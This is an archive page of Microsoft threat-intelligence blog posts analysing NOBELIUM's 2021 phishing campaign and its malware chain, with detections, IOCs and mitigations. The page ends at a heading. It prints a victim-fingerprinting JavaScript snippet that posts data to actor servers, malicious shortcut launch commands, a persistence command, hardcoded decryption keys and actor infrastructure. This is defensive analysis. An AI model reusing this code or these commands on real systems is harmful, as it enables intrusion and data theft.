Archive for the ‘Microsoft Threat Intelligence Center (MSTIC)’ Category

Breaking down NOBELIUM’s latest early-stage toolset

May 28th, 2021 No comments

As we reported in earlier blog posts, the threat actor NOBELIUM recently intensified an email-based attack that it has been operating and evolving since early 2021. We continue to monitor this active attack and intend to post additional details as they become available. In this blog, we highlight four tools representing a unique infection chain utilized by NOBELIUM: EnvyScout, BoomBox, NativeZone, and VaporRage. These tools have been observed being used in the wild as early as February 2021 attempting to gain a foothold on a variety of sensitive diplomatic and government entities.

As part of this blog, Microsoft Threat Intelligence Center (MSTIC) is releasing an appendix of indicators of compromise (IOCs) for the community to better investigate and understand NOBELIUM’s most recent operations. The NOBELIUM IOCs associated with this activity are available in CSV on the MSTIC GitHub. This sophisticated NOBELIUM attack requires a comprehensive incident response to identify, investigate, and respond. Get the latest information and guidance from Microsoft at We have also outlined related alerts in Microsoft 365 Defender, so that security teams can check to see if activity has been flagged for investigation.

Each of the NOBELIUM tools discussed in this blog is designed for flexibility, enabling the actor to adapt to operational challenges over time. While its technical specifics are not unprecedented, NOBELIUM’s operational security priorities have likely influenced the design of this toolset, which demonstrate preferable features for an actor operating in potentially high-risk and high-visibility environments. These attacker security priorities are:

  • Use of trusted channels: BoomBox is a uniquely developed downloader used to obtain a later-stage payload from an actor-controlled Dropbox account. All initial communications leverage the Dropbox API via HTTPS.
  • Opportunity for restraint: Consistent with other tools utilized by NOBELIUM, BoomBox, VaporRage, and some variants of NativeZone conduct some level of profiling on an affected system’s environment. MSTIC is currently unaware if these tools benefit from any server-side component. It is plausible that this design may allow NOBELIUM to selectively choose its targets and gain a level of understanding of potential discovery should the implant be run in environments unfamiliar to the actor.
  • Ambiguity: VaporRage is a unique shellcode loader seen as the third-stage payload. VaporRage can download, decode, and execute an arbitrary payload fully in-memory. Such design and deployment patterns, which also include staging of payloads on a compromised website, hamper traditional artifacts and forensic investigations, allowing for unique payloads to remain undiscovered.

NOBELIUM is an actor that operates with rapid operational tempo, often leveraging temporary infrastructure, payloads, and methods to obfuscate their activities. We suspect that NOBELIUM can draw from significant operational resources that are often showcased in their periodic campaigns. Since December, the security community has identified a growing collection of payloads attributed to the actor, including the GoldMax, GoldFinder, and Sibot malware identified by Microsoft, as well as TEARDROP (FireEye), SUNSPOT (CrowdStrike), Raindrop (Symantec) and, most recently, FLIPFLOP (Volexity).

Since the exposure of the SolarWinds attack in late 2020 and despite growing community visibility, NOBELIUM has continued to target government and diplomatic entities across the globe. We anticipate that as these operations progress, NOBELIUM will continue to mature their tools and tactics to target a global audience.

While this post focuses on a single wave of the campaign comprised of the mentioned four malware families, it also highlights variations in the campaign wherein methodologies were altered per wave. The list of indicators in the appendix expands beyond this single wave.

EnvyScout: NV.html (malicious HTML file)

NV.html, tracked by Microsoft as EnvyScout, can be best described as a malicious dropper capable of de-obfuscating and writing a malicious ISO file to disk. EnvyScout is chiefly delivered to targets of NOBELIUM by way of an attachment to spear-phishing emails.

The HTML <body> section of NV.html contains four notable components:

Component #1: Tracking and credential-harvesting URLs

In one variant of EnvyScout, the <body> section contains two URLs, as shown above.

The first, prefixed with a file:// protocol handler, is indicative of an attempt to coax the operating system to send sensitive NTLMv2 material to the specified actor-controlled IP address over port 445. It is likely that the attacker is running a credential capturing service, such as Responder, at the other end of these transactions. Later, brute-forcing of these credentials may result in their exposure.

The second URL, which resolves to the same IP address as the former at the time of analysis, remotely sources an image that is part of the HTML lure. This technique, sometimes referred to as a “web bug”, serves as a read receipt of sorts to NOBELIUM, validating that the prospective target followed through with opening the malicious attachment.

Component #2: FileSaver JavaScript helper code

The second portion of EnvyScout is a modified version of the open-source tool FileSaver, which is intended to assist in the writing of files to disk via JavaScript. The code is borrowed directly from the publicly available variants with minor alterations, including whitespace removal, conversion of hex parameters to decimal, and renamed variables. By combining this code with components #3 and #4 detailed below, NOBELIUM effectively implements a methodology known as HTML smuggling. This methodology may circumvent static analysis of known malicious file types by obscuring them within dynamically altered content upon execution. When combined with dynamic analysis guardrails, this can be an effective way to subvert detections of both types.

Component #3: Obfuscated ISO file

The third section of EnvyScout contains a payload stored as an encoded blob. This payload is decoded by XOR’ng each character with a single-byte key, which then leads to a Base64 payload that is then decoded and written to disk via components #2 and #4.

Component #4: De-obfuscator and dropper script

The final component of EnvyScout is a short code snippet responsible for decoding the ISO in the Base64 encoded/XOR’d blob, and saving it to disk as NV.img with a mime type of “application/octet-stream”. At this stage of infection, the user is expected to open the downloaded ISO, NV.img, by double clicking it.

As Microsoft has been tracking waves of this campaign for months, we have identified various modifications to the actor’s toolkit that were not present in every instance of EnvyScount but are nonetheless notable for defenders:

EnvyScout variation #1:

In some iterations of the actor’s phishing campaigns, EnvyScout contained execution guardrails wherein window.location.pathname was called, and its values were leveraged to ensure that the first two entries in the array of characters returned were “C” and “:”. If this condition was not met—indicating the sample was not being executed from the C: drive—the embedded ISO was not written to disk.

As the attacker had gathered qualities from detonations of previous entries in the campaign via the Firebase fingerprinting JavaScript detailed in a prior blog post, this was assessed to be an execution guardrail to deter analysis and dynamic execution of the samples bearing these guardrails. Having witnessed both iterations of EnvyScout in the wild allows us to infer the intent of some of the information gathered from earlier instances.

EnvyScout variation #2:

In at least one instance of EnvyScout delivery, we observed further enumeration of the executing browser’s environment, wherein the user-agent was used to determine whether a Windows machine received an ISO payload. If the visitor arrived via iOS, they were redirected to external infrastructure.

NV.img (malicious ISO file)

When a target user opens NV.img (dropped by EnvyScout) by double-clicking it, the default behavior on Windows 10 is to mount the ISO image at the next available drive letter. Windows Explorer subsequently displays the contents of the mounted ISO in a window, similar to what users see when they open folders or compressed archives.

As shown above, the mounted ISO contains a single visible file, a shortcut file named NV. However, adjusting the file and folder settings in Windows to show hidden files and folders exposes a hidden folder named NV and a hidden executable named BOOM.exe:

The user is likely expected to interact with NV.lnk, but manual execution of the hidden file BOOM.exe also results in the infection of the system. The individual contents of each file are detailed below.

The use of ISO as a vessel for malicious payloads is further notable due to the lack of mark of the web propagation on the contents, which may impact both host-based detections and reduce friction to user interaction with the contents.

NV.pdf (decoy document)

The hidden NV directory in the mounted ISO contains a decoy PDF file named NV.pdf which contains a decoy advisory:

As described later in this analysis, the contents of the NV directory are displayed to the user by BOOM.exe.

NV.lnk (malicious shortcut)

NV.lnk is a shortcut/launcher for the hidden file BOOM.exe. As shown below, the shortcut leverages a living-off-the-land binary (LOLBin) and technique to proxy the execution of BOOM.exe using the following hardcoded shortcut target value: C:\Windows\System32\rundll32.exe c:\windows\system32\advpack.dll,RegisterOCX BOOM.exe.

Note that Microsoft also saw a variation of this LNK file containing the following shortcut target value: C:\Windows\System32\cmd.exe /c start BOOM.exe.

Numerous other LNKs were identified and are referenced in the appendix linked in this post. Methodologies varied, as did metadata in the LNKs themselves. For instance, the sample with the SHA-256: 48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 contained a target of “%windir%/system32/explorer.exe Documents.dll,Open”, while the absolute path in the sample was “C:\Windows\system32\rundll32.exe”.

As referenced in Volexity’s blog post on the latest campaign, the LNK metadata was widely removed, and what remained varied between waves. Icons were often folders, meant to trick targets into thinking they were opening a shortcut to a folder.

Microsoft also observed the following targets for known LNK files:

  • C:\Windows\System32\rundll32.exe IMGMountingService.dll MountImgHelper
  • C:\Windows\System32\rundll32.exe diassvcs.dll InitializeComponent
  • C:\Windows\System32\rundll32.exe MsDiskMountService.dll DiskDriveIni
  • C:\Windows\system32\rundll32.exe data/mstu.dll,MicrosoftUpdateService

BoomBox: BOOM.exe (malicious downloader)

BOOM.exe, tracked by Microsoft as “BoomBox”, can be best described as a malicious downloader. The downloader is responsible for downloading and executing the next-stage components of the infection. These components are downloaded from Dropbox (using a hardcoded Dropbox Bearer/Access token).

When executed, BoomBox ensures that a directory named NV is present in its current working directory; otherwise it terminates. If the directory is present, BoomBox displays the contents of the NV directory in a new Windows Explorer window (leaving it up to the user to open the PDF file).

Next, BoomBox ensures that the following file is not present on the system (if so, it terminates): %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll (this file is covered later in this analysis). BoomBox performs enumeration of various victim host qualities, such as hostname, domain name, IP address, and username of the victim system to compile the following string (using example values):

Next, BoomBox AES-encrypts the host information string above using the hardcoded encryption key “123do3y4r378o5t34onf7t3o573tfo73” and initialization vector (IV) value “1233t04p7jn3n4rg”. To masquerade the data as contents of a PDF file, BoomBox prepends and appends the magic markers for PDF to the AES-encrypted host information string above:

BoomBox proceeds to upload the data above (masquerading as a PDF file) to a dedicated-per-victim-system folder in Dropbox. For demonstration purposes, an example HTTP(s) POST request used to upload the file/data to Dropbox is included below.

To ensure the file has been successfully uploaded to Dropbox, BoomBox utilizes a set of regular expression values to check the HTTP response from Dropbox. As shown below, the regular expressions are used to check the presence of the is_downloadable, path_lower, content_hash, and size fields (not their values) in the HTTP response received from Dropbox. Notably, BoomBox disregards the outcome of this check and proceeds, even if the upload operation is unsuccessful.

Next, BoomBox downloads an encrypted file from Dropbox. For demonstration purposes, an example HTTP(s) POST request used to download the encrypted file from Dropbox is shown below.

After successfully downloading the encrypted file from Dropbox, BoomBox discards the first 10 bytes from the header and 7 bytes from the footer of the encrypted file, and then AES-decrypts the rest of the file using the hardcoded encryption key “123do3y4r378o5t34onf7t3o573tfo73” and IV value “1233t04p7jn3n4rg”. BoomBox writes the decrypted file to the file system at %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll. It then establishes persistence for NativeCacheSvc.dll by creating a Run registry value named MicroNativeCacheSvc:


The Run registry value is populated with the following command, which is used to execute NativeCacheSvc.dll using rundll32.exe and by calling its export function named “_configNativeCache”:

rundll32.exe %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll _configNativeCache

Next, BoomBox downloads a second encrypted file from the Dropbox path /tmp/readme.pdf, discards the first 10 bytes from the header and 7 bytes from the footer of the encrypted file, and then AES-decrypts the rest of the file (using the same AES IV and key as above). It writes the decrypted file at %AppData%\SystemCertificates\CertPKIProvider.dll and proceeds to execute the previously dropped file NativeCacheSvc.dll using the same rundll32.exe command as above.

As the final reconnaissance step, if the system is domain-joined, BoomBox executes an LDAP query to gather data such as distinguished name, SAM account name, email, and display name of all domain users via the filter (&(objectClass=user)(objectCategory=person)).

The enumerated data is AES-encrypted (using the same IV and key as before), encapsulated in a fake PDF file (as previously described), and uploaded to the Dropbox path /new/<Victim_ID>, where <Victim_ID> is the MD5 hash of the victim’s system name, for example: /new/432B65EF29F84E6043A80C15EBA12FD2.

NativeZone: NativeCacheSvc.dll (malicious loader)

NativeCacheSvc.dll, tracked by Microsoft as “NativeZone” can best be described as a malicious loader responsible for utilizing rundll32.exe to load the malicious downloader component CertPKIProvider.dll.

The malicious functionality of NativeCacheSvc.dll is located inside a DLL export named configNativeCache.

As shown above, the export function executes rundll32.exe to load %AppData%\SystemCertificates\Lib\CertPKIProvider.dll by calling its export function named eglGetConfigs.

VaporRage: CertPKIProvider.dll (malicious downloader)

CertPKIProvider.dll, tracked by Microsoft as “VaporRage” can best be described as a shellcode downloader. This version of VaporRage contains 11 export functions including eglGetConfigs, which houses the malicious functionality of the DLL.

As mentioned in the previous section, NativeZone utilizes rundll32.exe to execute the eglGetConfigs export function of CertPKIProvider.dll. Upon execution, the export function first ensures the NativeZone DLL %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll is present on the system (else it terminates). Next, the export function issues an HTTP(s) GET request to a legitimate but compromised WordPress site holescontracting[.]com. The GET request is comprised of the dynamically generated and hardcoded values, for example:

The purpose of the GET request is to first register the system as compromised and then to download an XOR-encoded shellcode blob from the WordPress site (only if the system is of interest to the actor). Once successfully downloaded, the export function XOR decodes the shellcode blob (using a hardcoded multi-byte XOR key “346hrfyfsvvu235632542834”).

It then proceeds to execute the decoded shellcode in memory by jumping to the beginning of the shellcode blob in an executable memory region. The download-decode-execute process is repeated indefinitely, approximately every hour, until the DLL is unloaded from memory. VaporRage can execute any compatible shellcode provided by its C2 server, including a Cobalt Strike stage shellcode.

Additional Custom Cobalt Strike loader from NOBELIUM

As described in a previous blog, NOBELIUM has used multiple custom Cobalt Strike Beacon loaders (likely generated using custom Artifact Kit templates) to enable their malicious activities. These include TEARDROP, Raindrop, and other custom loaders.

Since our last publication, we have identified additional variants of NOBELIUM’s custom Cobalt Strike loaders. Instead of assigning a name to each short-lived and disposable variant, Microsoft will be tracking NOBELIUM’s custom Cobalt Strike loaders and downloaders for the loaders under the name NativeZone. As seen in previous custom NOBELIUM Cobalt Strike loaders, the new loader DLLs also contain decoy export names and function, as well as code and strings borrowed from legitimate applications.

The new NativeZone loaders can be grouped into two variants:

  • Variant #1: These loaders embed an encoded/encrypted Cobalt Strike Beacon stage shellcode
  • Variant #2: These loaders load an encoded/encrypted Cobalt Strike Beacon stage shellcode from another accompanying file (e.g., an RTF file).

In the succeeding sections, we discuss some of the new NativeZone Cobalt Strike Beacon variants we have observed in our investigation.

NativeZone variant #1

Similar to the previous NOBELIUM custom Cobalt Strike loaders, such as TEARDROP and Raindrop, these NativeZone loaders are responsible for decoding/decrypting an embedded Cobalt Strike Beacon stage shellcode and executing it in memory. Some of the NativeZone loaders feature anti-analysis guardrails to thwart analysis of the samples.

In these versions of NativeZone, the actor has used a variety of encoding and encryption methodologies to obfuscate the embedded shellcode. For example, in the example below, the NativeZone variant uses a simple byte-swap decoding algorithm to decode the embedded shellcode:

Another sample featuring a different decoding methodology to decode the embedded shellcode is shown below:

Another sample, featuring a de-obfuscation methodology leveraging AES encryption algorithm to decrypt the embedded shellcode, is shown below:

Yet another NativeZone sample leveraging AES for decrypting an embedded Cobalt Strike shellcode blob is shown below (note the syntax differences compared to the sample above):

Another sample featuring a different decoding methodology along with leveraging CreateThreadpoolWait() to execute the decoded shellcode blob is below:

Below is an example of anti-analysis technique showing the loader checking if the victim system is a Vmware or VirtualBox VM:

NativeZone variant #2

Unlike variant #1, the NativeZone variant #2 samples do not contain the encoded/encrypted Cobalt Strike Beacon stage shellcode. Instead, these samples read the shellcode from an accompanying file that is shipped with the sample. For example, one NativeZone variant #2 sample was observed alongside an RTF file. The RTF file doubles as both a decoy document and a shellcode carrier file. The RTF file contains the proper RTF file structure and data followed by an encoded shellcode blob (starting at offset 0x658):

When the NativeZone DLL is loaded/executed, it first displays the RTF document to the user.

As mentioned above, the same RTF also contains the encoded Cobalt Strike stage shellcode. As shown below, the NativeZone DLL proceeds to extract the shellcode from the RTF file (starting at file offset 0x658 as shown above), decode the shellcode and execute it on the victim system:

Notes on new and old NOBELIUM PDB paths

The following example PDB paths were observed in the samples analyzed in this blog:

  • BoomBox: C:\Users\dev10vs\Desktop\Prog\Obj\BOOM\BOOM\BOOM\obj\Release\BOOM.pdb
  • NativeZone: c:\users\devuser\documents\visual studio 2013\Projects\DLL_stageless\Release\DLL_stageless.pdb
  • NativeZone: C:\Users\DevUser\Documents\Visual Studio 2013\Projects\DLL_stageless\Release\DLL_stageless.pdb
  • NativeZone: C:\Users\dev\Desktop\나타나게 하다\Dll6\x64\Release\Dll6.pdb

Note the presence of ‘dev’ user in the PDB paths above. A ‘dev’ username was previously observed in the PDB path of a NOBELIUM Cobalt Strike loader mentioned in our previous blog: c:\build\workspace\cobalt_cryptor_far (dev071)\farmanager\far\platform.concurrency.hpp.

Comprehensive protections for persistence techniques

The sophisticated NOBELIUM attack requires a comprehensive incident response to identify, investigate, and respond. Get the latest information and guidance from Microsoft at

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects the new NOBELIUM components discussed in this blog as the following malware:

  • TrojanDropper:JS/EnvyScout.A!dha
  • TrojanDownloader:Win32/BoomBox.A!dha
  • Trojan:Win32/NativeZone.A!dha
  • Trojan:Win32/NativeZone.B!dha
  • Trojan:Win32/NativeZone.C!dha
  • Trojan:Win32/NativeZone.D!dha
  • TrojanDownloader:Win32/VaporRage.A!dha

Microsoft Defender for Endpoint (EDR)

Alerts with the following titles in the Security Center can indicate threat activity on your network:

  • Malicious ISO File used by NOBELIUM
  • Cobalt Strike Beacon used by NOBELIUM
  • Cobalt Strike network infrastructure used by NOBELIUM

The following alerts might also indicate threat activity associated with this threat. The below alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

  • An uncommon file was created and added to startup folder
  • A link file (LNK) with unusual characteristics was opened

Azure Sentinel

We have updated the related Azure Sentinel query to include these additional indicators. Azure Sentinel customers can access this query in this GitHub repository.

Indicators of compromise (IOCs)

The NOBELIUM IOCs associated with this activity are available in CSV on the MSTIC GitHub.

The post Breaking down NOBELIUM’s latest early-stage toolset appeared first on Microsoft Security.

New sophisticated email-based attack from NOBELIUM

May 28th, 2021 No comments

Microsoft Threat Intelligence Center (MSTIC) has uncovered a wide-scale malicious email campaign operated by NOBELIUM, the threat actor behind the attacks against SolarWinds, the SUNBURST backdoor, TEARDROP malware, GoldMax malware, and other related components. The campaign, initially observed and tracked by Microsoft since January 2021, evolved over a series of waves demonstrating significant experimentation. On May 25, 2021, the campaign escalated as NOBELIUM leveraged the legitimate mass-mailing service, Constant Contact, to masquerade as a US-based development organization to distribute malicious URLs to a wide variety of organizations and industry verticals.

Microsoft is issuing this alert and new security research regarding this sophisticated email-based campaign that NOBELIUM has been operating to help the industry understand and protect from this latest activity. Below, we have outlined attacker motives, malicious behavior, and best practices to protect against this attack. You can also find more information on the Microsoft On The Issues blog.

Note: This is an active incident. We will post more details here as they become available.

NOBELIUM has historically targeted government organizations, non-government organizations (NGOs), think tanks, military, IT service providers, health technology and research, and telecommunications providers. With this latest attack, NOBELIUM attempted to target approximately 3,000 individual accounts across more than 150 organizations, employing an established pattern of using unique infrastructure and tooling for each target, increasing their ability to remain undetected for a longer period of time.

This new wide-scale email campaign leverages the legitimate service Constant Contact to send malicious links that were obscured behind the mailing service’s URL (many email and document services provide a mechanism to simplify the sharing of files, providing insights into who and when links are clicked). Due to the high volume of emails distributed in this campaign, automated email threat detection systems blocked most of the malicious emails and marked them as spam. However, some automated threat detection systems may have successfully delivered some of the earlier emails to recipients either due to configuration and policy settings or prior to detections being in place.

Due to the fast-moving nature of this campaign and its perceived scope, Microsoft encourages organizations to investigate and monitor communications matching characteristics described in this report and take the actions described below in this article.

We continue to see an increase in sophisticated and nation-state-sponsored attacks and, as part of our ongoing threat research and efforts to protect customers, we will continue to provide guidance to the security community on how to secure against and respond to sophisticated multi-dimensional attacks.

Spear phishing campaign delivers NOBELIUM payloads

The NOBELIUM campaign observed by MSTIC and detailed in this blog differs significantly when compared to NOBELIUM operations that ran from September 2019 until January 2021, which included the compromise of the SolarWinds Orion platform. It is likely that the observations represent changes in the actor’s tradecraft and possible experimentation following widespread disclosures of previous incidents. 

Early testing and initial discovery

As part of the initial discovery of the campaign in February, MSTIC identified a wave of phishing emails that leveraged the Google Firebase platform to stage an ISO file containing malicious content, while also leveraging this platform to record attributes of those who accessed the URL. MSTIC tracked the start of this campaign to January 28, 2021, when the actor was seemingly performing early reconnaissance by only sending the tracking portion of the email, leveraging Firebase URLs to record targets who clicked. No delivery of a malicious payload was observed during this early activity.

Evolving delivery techniques

In the next evolution of the campaign, MSTIC observed NOBELIUM attempting to compromise systems through an HTML file attached to a spear-phishing email. When opened by the targeted user, a JavaScript within the HTML wrote an ISO file to disc and encouraged the target to open it, resulting in it being mounted much like an external or network drive. From here, a shortcut file (LNK) would execute an accompanying DLL, which would result in Cobalt Strike Beacon executing on the host.


Example Flow of HMTL/ISO infection chain.

Figure 1. Example Flow of HMTL/ISO infection chain.

Example of target fingerprinting code leveraging Firebase:

try {
let sdfgfghj = '';
let kjhyui = new XMLHttpRequest();'GET', '', false);
kjhyui.onreadystatechange = function (){
sdfgfghj = this.responseText;
let ioiolertsfsd = navigator.userAgent;
let uyio = window.location.pathname.replace('/','');
var ctryur = {'io':ioiolertsfsd,'tu':uyio,'sd':sdfgfghj};
ctryur = JSON.stringify(ctryur);
let sdfghfgh = new XMLHttpRequest();'POST', '', false);
sdfghfgh.setRequestHeader('Content-Type', 'application/json');
} catch (e) {}

Similar spear-phishing campaigns were detected throughout March, which included the NOBELIUM actor making several alterations to the accompanying HTML document based on the intended target. MSTIC also observed the actor experimenting with removing the ISO from Firebase, and instead encoding it within the HTML document. Similarly, the actor experimented with redirecting the HTML document to an ISO, which contained an RTF document, with the malicious Cobalt Strike Beacon DLL encoded within the RTF. In one final example of experimentation, there was no accompanying HTML in the phishing email and instead a URL led to an independent website spoofing the targeted organizations, from where the ISO was distributed.

The phishing message and delivery method was not the only evolving factor in the campaign. In one of the more targeted waves, no ISO payload was delivered, but additional profiling of the target device was performed by an actor-controlled web server after a user clicked the link. If the device targeted was an Apple iOS device, the user was redirected to another server under NOBELIUM control, where the since-patched zero-day exploit for CVE-2021-1879 was served.

Escalated targeting and delivery

Experimentation continued through most of the campaign but began to escalate in April 2021. During the waves in April, the actor abandoned the use of Firebase, and no longer tracked users using a dedicated URL. Their techniques shifted to encode the ISO within the HTML document and have that responsible for storing target host details on a remote server via the use of the service. The actor sometimes employed checks for specific internal Active Directory domains that would terminate execution of the malicious process if it identified an unintended environment.

In May 2021, the actor changed techniques once more by maintaining the HTML and ISO combination, but dropped a custom .NET first-stage implant, detected as TrojanDownloader:MSIL/BoomBox, that reported host-based reconnaissance data to, and downloaded additional payloads from, the Dropbox cloud storage platform.

On May 25, the NOBELIUM campaign escalated significantly. Using the legitimate mass mailing service Constant Contact, NOBELIUM attempted to target around 3,000 individual accounts across more than 150 organizations. Due to the high-volume campaign, automated systems blocked most of the emails and marked them as spam. However, automated systems might have successfully delivered some of the earlier emails to recipients.

In the May 25 campaign, there were several iterations. In one example the emails appear to originate from USAID <>, while having an authentic sender email address that matches the standard Constant Contact service. This address (which varies for each recipient) ends in, and (which varies for each recipient), and a Reply-To address of <> was observed. The emails seen pose as an alert from USAID, as seen below.

Example email screenshot.

Figure 2. Example email screenshot.

If the user clicked on the link in the email, the URL directs them to the legitimate Constant Contact service, which follows this pattern:


However, the user is then redirected to NOBELIUM-controlled infrastructure, with a URL following the pattern shown below:


A malicious ISO file is then delivered to the target’s computer. Within this ISO file are the following files that are saved in the %USER%\AppData\Local\Temp\<random folder name>\ path:

  • A shortcut, such as Reports.lnk, that executes a custom Cobalt Strike Beacon loader.
  • A decoy document, such as ica-declass.pdf, that is displayed to the target.
  • A DLL, such as Document.dll, that is a custom Cobalt Strike Beacon loader dubbed NativeZone by Microsoft.

The successful deployment of these payloads enables NOBELIUM to achieve persistent access to compromised machines. Then, the successful execution of these malicious payloads could enable NOBELIUM to conduct action-on objectives, such as lateral movement, data exfiltration, and delivery of additional malware.

IOCs for the campaign occurring on May 25 are provided in this blog for use by security teams to help identify actor activity.

Microsoft security researchers assess that the NOBELIUM’s spear-phishing operations are recurring and have increased in frequency and scope. It is anticipated that additional activity may be carried out by the group using an evolving set of tactics.

Microsoft continues to monitor evolving this threat actor’s activities and will update as necessary. Microsoft t365 Defender delivers coordinated defense against this threat. Microsoft Defender for Office 365 detects the malicious emails, and Microsoft Defender for Endpoints detects the malware and malicious behaviors. Additionally, customers should follow defensive guidance and leverage advanced hunting to help mitigate variants of actor activity.

ISO file contents with hidden "Documents.dll" inside.

Figure 3. ISO file contents – Worth noting that the “Documents.dll” is a hidden file.

Shortcut which executes the hidden DLL file.

Figure 4. Shortcut which executes the hidden DLL file.

The end result when detonating the LNK file is the execution of “C:\Windows\system32\rundll32.exe Documents.dll,Open”.


Apply these mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

  • Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
  • Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. (EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.)
  • Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
  • Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
  • Use device discovery to increase your visibility into your network by finding unmanaged devices on your network and onboarding them to Microsoft Defender for Endpoint.
  • Enable multifactor authentication (MFA) to mitigate compromised credentials. Microsoft strongly encourages all customers download and use passwordless solutions like Microsoft Authenticator to secure your accounts.
  • For Office 365 users, see multifactor authentication support.
  • For Consumer and Personal email accounts, see how to use two-step verification.
  • Turn on the following attack surface reduction rule to block or audit activity associated with this threat: Block all Office applications from creating child processes. NOTE: Assess rule impact before deployment.

Indicators of compromise (IOC)

This attack is still active, so these indicators should not be considered exhaustive for this observed activity.

These indicators of compromise are from the large-scale campaign launched on May 25, 2021.


INDICATOR TYPE DESCRIPTION Email Spoofed email account Email Spoofed email account
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 SHA-256 Malicious ISO file (container)
d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142 SHA-256 Malicious ISO file (container)
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 SHA-256 Malicious ISO file (container)
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 SHA-256 Malicious shortcut (LNK)
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c SHA-256 Cobalt Strike Beacon malware
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 SHA-256 Cobalt Strike Beacon malware
usaid.theyardservice[.]com Domain Subdomain used to distribute ISO file
worldhomeoutlet[.]com Domain Subdomain in Cobalt Strike C2
dataplane.theyardservice[.]com Domain Subdomain in Cobalt Strike C2
cdn.theyardservice[.]com Domain Subdomain in Cobalt Strike C2
static.theyardservice[.]com Domain Subdomain in Cobalt Strike C2
192[.]99[.]221[.]77 IP address IP resolved to by worldhomeoutlet[.]com
83[.]171[.]237[.]173 IP address IP resolved to by *theyardservice[.]com
theyardservice[.]com Domain Actor controlled domain

Detection details


Microsoft Defender Antivirus detects threat components as the following malware:

Endpoint Detection and Response (EDR)

Alerts with the following titles in the Security Center can indicate threat activity on your network:

  • Malicious ISO File used by NOBELIUM.
  • Cobalt Strike Beacon used by NOBELIUM.
  • Cobalt Strike network infrastructure used by NOBELIUM.

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

  • An uncommon file was created and added to startup folder.
  • A link file (LNK) with unusual characteristics was opened.

Advanced hunting

Microsoft 365 Defender

The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential NOBELIUM email campaign-related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar drop-down menu to update your query to hunt for the Last 30 days.

To locate possible exploitation activity, run the following queries in the Microsoft 365 security center.

Azure Sentinel

Azure Sentinel customers can find a Sentinel query containing these indicators in this GitHub repository.

NOBELIUM Abuse of USAID Constant Contact resources in email data

Looks for a recent mail to the organization that originates from Constant Contact original sending infrastructure and from specifically the accounts spoofed or compromised in the campaign detailed in this report. That secondary account can be adjusted if new accounts arise. Then the query examines whether or not the mail is accompanied by a URL which redirects the user to file hosting by Constant Contact which will be used to download the malicious files. Query can be adjusted with additional URLs or joined further to the attachment tables if attachment methods such as HTML documents are utilized again in the future.

| where UrlDomain has ""
| join kind=inner EmailEvents on $left.NetworkMessageId==$right.NetworkMessageId
| where SenderMailFromAddress endswith ""
| where SenderFromAddress endswith ""

MITRE ATT&CK techniques observed

This threat makes use of attacker techniques documented in the MITRE ATT&CK framework.

Initial access


Command and control

  • T1071.001 Application Layer Protocol: Web Protocols—Cobalt Strike Beacons call out to attacker infrastructure via port 443.

Learn more

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post New sophisticated email-based attack from NOBELIUM appeared first on Microsoft Security.

GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence

March 4th, 2021 No comments

Microsoft continues to work with partners and customers to expand our knowledge of the threat actor behind the nation-state cyberattacks that compromised the supply chain of SolarWinds and impacted multiple other organizations. As we have shared previously, we have observed the threat actor using both backdoor and other malware implants to establish sustained access to affected networks. As part of our commitment to transparency and intelligence-sharing in the defender community, we continue to update analysis and investigative resources as we discover new tactics and techniques used by the threat actor.

Introducing NOBELIUM

Microsoft Threat Intelligence Center (MSTIC) is naming the actor behind the attacks against SolarWinds, the SUNBURST backdoor, TEARDROP malware, and related components as NOBELIUM.

Recent investigations have identified three new pieces of malware being used in late-stage activity by NOBELIUM. This blog provides detailed analysis of these malware strains to help defenders detect, protect, and respond to this threat. We continue to partner with FireEye to understand these threats and protect our mutual customers. FireEye’s analysis of the malware used by NOBELIUM is here.

Microsoft discovered these new attacker tools and capabilities in some compromised customer networks and observed them to be in use from August to September 2020. Further analysis has revealed these may have been on compromised systems as early as June 2020. These tools are new pieces of malware that are unique to this actor. They are tailor-made for specific networks and are assessed to be introduced after the actor has gained access through compromised credentials or the SolarWinds binary and after moving laterally with TEARDROP and other hands-on-keyboard actions.

These capabilities differ from previously known NOBELIUM tools and attack patterns, and reiterate the actor’s sophistication. In all stages of the attack, the actor demonstrated a deep knowledge of software tools, deployments, security software and systems common in networks, and techniques frequently used by incident response teams. This knowledge is reflected in the actor’s operational decisions, from the choice of command-and-control (C2) infrastructure to the naming of scheduled tasks used to maintain persistence.

With this actor’s established pattern of using unique infrastructure and tooling for each target, and the operational value of maintaining their persistence on compromised networks, it is likely that additional components will be discovered as our investigation into the actions of this threat actor continues.

New NOBELIUM malware

